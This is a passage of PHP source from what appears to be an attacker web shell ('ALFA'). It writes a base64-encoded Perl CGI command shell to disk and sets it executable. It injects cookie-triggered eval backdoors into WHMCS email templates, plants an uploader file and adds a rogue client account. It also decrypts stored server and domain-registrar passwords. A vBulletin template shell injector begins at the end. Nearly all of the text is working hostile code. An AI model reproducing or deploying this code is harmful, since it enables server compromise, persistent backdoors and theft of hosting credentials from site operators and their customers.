QkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCg0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
  2718. $solevisible1 = fopen('cgi.alfa','w+');
  2719. $solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
  2720. fclose($solevisible1);
  2721. chmod('cgi.alfa',0755);
  2722. echo '<iframe src=cgialfa/cgi.alfa width=100% height=600px frameborder=0></iframe> ';
  2723. echo "</div>";
  2724. alfafooter();
  2725. }
  2726. function alfaWhmcs(){
  2727. alfahead();
  2728. echo '<div class=header><script>alfa1_=alfa2_="";</script><center><h3><span>| WHMCS TOOLS |</span></h3><center><h3><a href=# onclick="g(\'Whmcs\',null,\'shellinject\',null)">| Shell Injector | </a><a href=# onclick="g(\'Whmcs\',null,null,null,\'repair\')">| Repair DB | </a><a href=# onclick="g(\'Whmcs\',null,null,\'decoder\')">| Whmcs Decoder |</a></h3></center>';
  2729. if(isset($_POST['alfa3']) && ($_POST['alfa3'] == 'repair'))
  2730. {
  2731. echo "<script>alfa3_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
  2732. <tr><td>
  2733. <center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">Repair</font> <font color=\"#FF0000\">Table</font><font color=\"#FFFF01\"> ==</font></b></font></center> <br>
  2734. <center><form onSubmit=\"g('Whmcs',null,null,null,'repair',null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value); return false;\" method=POST>
  2735. <table border=1>
  2736. <tr><td><font face='Arial' color='#FFFFFF'><b>Mysql Host</b></font></td><td><input type=text name=dbh value=localhost size='50' ></td></tr>
  2737. <tr><td><font face='Arial' color='#FFFFFF'><b>Db User</b><br></font></td><td><input type=text name=dbu size='50' ></td></tr>
  2738. <tr><td><font face='Arial' color='#FFFFFF'><b>Db Name</b><br></font></td><td><input type=text name=dbn size='50' ></td></tr>
  2739. <tr><td><font face='Arial' color='#FFFFFF'><b>Db Pass</b><br></font></td><td><input type=text name=dbp size='50' ></td></tr>
  2740. </table>
  2741. <input type=submit value='>>'></form></center></td></tr></table></center>";
  2742. if(isset($_POST['alfa6'])) {
  2743. $dbu = $_POST['alfa6'];
  2744. $dbn = $_POST['alfa7'];
  2745. $dbp = $_POST['alfa8'];
  2746. $dbh = $_POST['alfa9'];
  2747. $newindex = "<p>Dear {\$client_name},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
  2748. if (!empty($dbh) && !empty($dbu) && !empty($dbn))
  2749. {
  2750. mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
  2751. mysql_select_db($dbn) or die(mysql_error());
  2752. $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE id='37'";
  2753. $result = mysql_query($inject) or die (mysql_error());
  2754. echo "<script>alert('Table Repaired :D');</script>";
  2755. }
  2756. }
  2757. }
  2758. if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'shellinject'))
  2759. {
  2760. echo "<script>alfa2_=alfa3_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
  2761. <tr><td>
  2762. <center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">Shell</font> <font color=\"#FF0000\">Injector</font><font color=\"#FFFF01\"> ==</font></b></center><br>
  2763. <center><form onSubmit=\"g('Whmcs',null,'shellinject',null,null,null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,null); return false;\" method=POST>
  2764. <table border=1>
  2765. <tr><td><font face='Arial' color='#FFFFFF'><b>Mysql Host</b></font></td><td><input type=text name=dbh value=localhost size='50' ></td/></tr>
  2766. <tr><td><font face='Arial' color='#FFFFFF'><b>Db User</b><br></font></td><td><input type=text name=dbu size='50' ></td/></tr>
  2767. <tr><td><font face='Arial' color='#FFFFFF'><b>Db Name</b><br></font></td><td><input type=text name=dbn size='50' ></td/></tr>
  2768. <tr><td><font face='Arial' color='#FFFFFF'><b>Db Pass</b><br></font></td><td><input type=text name=dbp size='50' ></td/></tr>
  2769. </table>
  2770. <input type=submit value='>>'></form></center></td></tr></table></center>";
  2771. if(isset($_POST['alfa6'])) {
  2772. $dbu = $_POST['alfa6'];
  2773. $dbn = $_POST['alfa7'];
  2774. $dbp = $_POST['alfa8'];
  2775. $dbh = $_POST['alfa9'];
  2776. $index = "{php}eval(base64_decode('JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSWp4MGFYUnNaVDVUYjJ4bGRtbHphV0pzWlNCVmNHeHZZV1JsY2p3dmRHbDBiR1UrWEc0aU93MEtaV05vYnlBaVBDOW9aV0ZrUGx4dUlqc05DbVZqYUc4Z0lqeGliMlI1SUdKblkyOXNiM0k5SXpBd01EQXdNRDVjYmlJN0RRcGxZMmh2SUNJOFluSStYRzRpT3cwS1pXTm9ieUFpUEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0luZG9hWFJsWENJK1BHSStXVzkxY2lCSmNDQkJaR1J5WlhOeklHbHpQQzlpUGlBOFptOXVkQ0JqYjJ4dmNqMWNJbmRvYVhSbFhDSStQQzltYjI1MFBqd3ZZMlZ1ZEdWeVBpQmNiaUk3RFFwbFkyaHZJQ0k4WW1sblBqeGlhV2MrUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR05sYm5SbGNqNWNiaUk3RFFwbFkyaHZJQ1JmVTBWU1ZrVlNXeWRTUlUxUFZFVmZRVVJFVWlkZE93MEtaV05vYnlBaVBDOWpaVzUwWlhJK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo1Y2JpSTdEUXBsWTJodklDSThZbkkrWEc0aU93MEtaV05vYnlBaVBHSnlQbHh1SWpzTkNtVmphRzhnSWp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR0pwWno0OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MFpYSStQR0p5UGx4dUlqc05DbVZqYUc4Z0p6eGpaVzUwWlhJK1BHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGlkWEJzYjJGa1pYSWlJQTBLYVdROUluVndiRzloWkdWeUlqNG5PdzBLSUdWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnRFFwcFpEMGlYM1Z3YkNJZ2RtRnNkV1U5SWxWd2JHOWhaQ0krUEM5bWIzSnRQand2WTJWdWRHVnlQaWM3RFFvZ2FXWW9JQ1JmVUU5VFZGc25YM1Z3YkNkZElEMDlJQ0pWY0d4dllXUWlJQ2tnZXcwS0lHbG1LRUJqYjNCNUtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmRHMXdYMjVoYldVblhTd2dKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdJR1ZqYUc4Z0RRb25QR0krUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR05sYm5SbGNqNVZjR3h2WVdRZ1UzVmpZMlZ6YzJaMWJHeDVJRHNwUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJJK1BHSnlQanhpY2o0bk95QjlEUW9nSUNBZ0lHVnNjMlVnZXlCbFkyaHZJQ2M4WWo0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQm1ZV2xzWldRZ09pZzhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBqd3ZZajROQ2p4aWNqNDhZbkkrSnpzZ2ZRMEtJSDBOQ2o4K0RRbzhZMlZ1ZEdWeVBqeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2TXpCd2VEc2lQanh6Y0dGdUlITjBlV3hsUFNKaVlXTnJaM0p2ZFc1a09pQjFjbXdvSm5GMWIzUTdhSFIwY0RvdkwzVndMbWx5WVc0dGRHRnNheTVwY2k5MWNHeHZZV1J6THpFek16RTFOekV4TkRrekxtZHBaaVp4ZFc5ME95a2djbVZ3WldGMExYZ2djMk55YjJ4c0lEQWxJREFsSUhSeVlXNXpjR0Z5Wlc1ME95QmpiMnh2Y2pvZ2NtVmtPeUIwWlhoMExYTm9ZV1J2ZHpvZ09IQjRJRGh3ZUNBeE0zQjRPeUkrUEhOMGNtOXVaejQ4WWo0OFltbG5Qbk52YkdWMmFYTnBZbXhsUUdkdFlXbHNMbU52YlR3dllqNDhMMkpwWno0OEwzTjBjbTl1Wno0TkNnPT0iKTsNCiRzb2xldmlzaWJsZSA9IGZvcGVuKCJzb2xldmlzaWJsZS5waHAiLCJ3Iik7DQpmd3JpdGUoJHNvbGV2aXNpYmxlLCR4KTs='));{/php}";
  2777. $newin = str_replace("'","\'",$index);
  2778. $newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
  2779. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
  2780. {
  2781. mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
  2782. mysql_select_db($dbn) or die(mysql_error());
  2783. $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE id='37'";
  2784. $result = mysql_query($inject) or die (mysql_error());
  2785. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  2786. $result2 = mysql_query($create) or die (mysql_error());
  2787. echo '<script>alert("shell injectet :\)")</script>';
  2788. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" http://target.com/whmcs/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" http://target.com/whmcs/solevisible.php \"</font></b></center><br><br>";
  2789. }
  2790. }
  2791. }
  2792. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'decoder'))
  2793. {
  2794. function decrypt ($string,$cc_encryption_hash)
  2795. {
  2796. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  2797. $hash_key = _hash ($key);
  2798. $hash_length = strlen ($hash_key);
  2799. $string = base64_decode ($string);
  2800. $tmp_iv = substr ($string, 0, $hash_length);
  2801. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  2802. $iv = $out = '';
  2803. $c = 0;
  2804. while ($c < $hash_length)
  2805. {
  2806. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  2807. ++$c;
  2808. }
  2809. $key = $iv;
  2810. $c = 0;
  2811. while ($c < strlen ($string))
  2812. {
  2813. if (($c != 0 AND $c % $hash_length == 0))
  2814. {
  2815. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  2816. }
  2817. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  2818. ++$c;
  2819. }
  2820. return $out;
  2821. }
  2822. function _hash ($string)
  2823. {
  2824. if (function_exists ('sha1'))
  2825. {
  2826. $hash = sha1 ($string);
  2827. }
  2828. else
  2829. {
  2830. $hash = md5 ($string);
  2831. }
  2832. $out = '';
  2833. $c = 0;
  2834. while ($c < strlen ($hash))
  2835. {
  2836. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  2837. $c += 2;
  2838. }
  2839. return $out;
  2840. }
  2841. echo "<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=\"\";</script>
  2842. <center>
  2843. <FORM action='' method='post' onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
  2844. <input type='hidden' name='form_action' value='2'>
  2845. <table border=1>
  2846. <center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">De</font><font color=\"#FF0000\">Coder</font><font color=\"#FFFF01\"> ==</font></b></center><br>
  2847. <tr><td><font color=\"#FFFFFF\"><b>db_host : </b></font></td><td><input type='text' size='50' name='db_host' value='localhost'></td></tr>
  2848. <tr><td><font color=\"#FFFFFF\"><b>db_username : </b></font></td><td><input type='text' size='50' name='db_username' value=''></td></tr>
  2849. <tr><td><font color=\"#FFFFFF\"><b>db_password : </b></font></td><td><input type='text' size='50' name='db_password' value=''></td></tr>
  2850. <tr><td><font color=\"#FFFFFF\"><b>db_name : </b></font></td><td><input type='text' size='50' name='db_name' value=''></td></tr>
  2851. <tr><td><font color=\"#FFFFFF\"><b>cc_encryption_hash : </b></font></td><td><input type='text' size='50' name='cc_encryption_hash' value=''></td></tr>
  2852. </table>
  2853. <INPUT class=submit type='submit' value='>>' name='Submit'>
  2854. </FORM>
  2855. </center>";
  2856. if($_POST['alfa1'] == 2 && $_POST['alfa3'])
  2857. {
  2858. $db_host=($_POST['alfa7']);
  2859. $db_username=($_POST['alfa3']);
  2860. $db_password=($_POST['alfa4']);
  2861. $db_name=($_POST['alfa5']);
  2862. $cc_encryption_hash=($_POST['alfa6']);
  2863. echo '<br><pre id="strOutput" style="margin-top:5px" class="ml1"><br>';
  2864. $link=mysql_connect($db_host,$db_username,$db_password) or die(mysql_error());
  2865. mysql_select_db($db_name,$link) ;
  2866. $query = mysql_query("SELECT * FROM tblservers");
  2867. $num = mysql_num_rows($query);
  2868. if ($num > 0){
  2869. for($i=0; $i <=$num -1; $i++){
  2870. $v = mysql_fetch_array($query);
  2871. $ipaddress = $v['ipaddress'];
  2872. $username = $v['username'];
  2873. $type = $v['type'];
  2874. $active = $v['active'];
  2875. $hostname = $v['hostname'];
  2876. echo("<center><table border='1'>");
  2877. $password = decrypt ($v['password'], $cc_encryption_hash);
  2878. echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
  2879. echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
  2880. echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
  2881. echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
  2882. echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
  2883. echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
  2884. echo "</table><br><br></center>";
  2885. }
  2886. $query1 = mysql_query("SELECT * FROM tblregistrars");
  2887. $num1 = mysql_num_rows($query1);
  2888. if ($num1 > 0){
  2889. for($i=0; $i <=$num1 -1; $i++){
  2890. $v = mysql_fetch_array($query1);
  2891. $registrar = $v['registrar'];
  2892. $setting = $v['setting'];
  2893. $value = decrypt ($v['value'], $cc_encryption_hash);
  2894. if ($value=="") {
  2895. $value=0;
  2896. }
  2897. echo("<center>Domain Reseller <br><center>");
  2898. echo("<center><table border='1'>");
  2899. echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
  2900. echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
  2901. echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
  2902. echo "</table><br><br></center>";
  2903. }
  2904. }
  2905. }
  2906. }
  2907. }
  2908. echo "</div>";
  2909. alfafooter();
  2910. }
  2911. function alfaVbinject(){
  2912. alfahead();
  2913. echo '<div class=header>';
  2914. echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=\"\";</script>
  2915. <center><br><br><b><font color="#FFFF01">==</font> <font color="#00A220">vBulletin</font> <font color="#FFFFFF">Shell</font> <font color="#FF0000">Injector</font><font color="#FFFF01"> ==</font></b></font>
  2916. <form name="frm" action="" method="POST" onsubmit="g(null,null,this.template.value,this.lo.value,this.db.value,this.user.value,this.pass.value,this.tab.value); return false;">
  2917. <br>
  2918. <font color="#FFFFFF"><b>Inject To : </b></font><br><select size="1" name="template">
  2919. <option value="FAQ">faq.php</option>
  2920. <option value="FORUMHOME">FORUMHOME</option>
  2921. <option value="search_forums">search forums</option>
  2922. <option value="SHOWGROUPS">SHOWGROUPS</option>
  2923. <option value="SHOWTHREAD">showthread.php</option>
  2924. <option value="CALENDAR">calendar.php</option>
  2925. <option value="MEMBERINFO">MEMBERINFO</option>
  2926. <option value="footer">footer</option>
  2927. <option value="header">header</option>
  2928. <option value="headinclude">headinclude</option>
  2929. <option value="lostpw">lostpw</option>
  2930. <option value="memberlist">memberlist</option></select></p>
  2931. <table border=1>
  2932. <tr><td><font color="#FFFFFF"><b>Host : </b></font></td><td><input name=\'lo\' type=\'text\' value=\'localhost\' size=\'30\'></td></tr>
  2933. <tr><td><font color="#FFFFFF"><b>DataBase Name : </b></font></td><td><input type=\'text\' size=\'30\' name=\'db\' value=\'\'></td></tr>
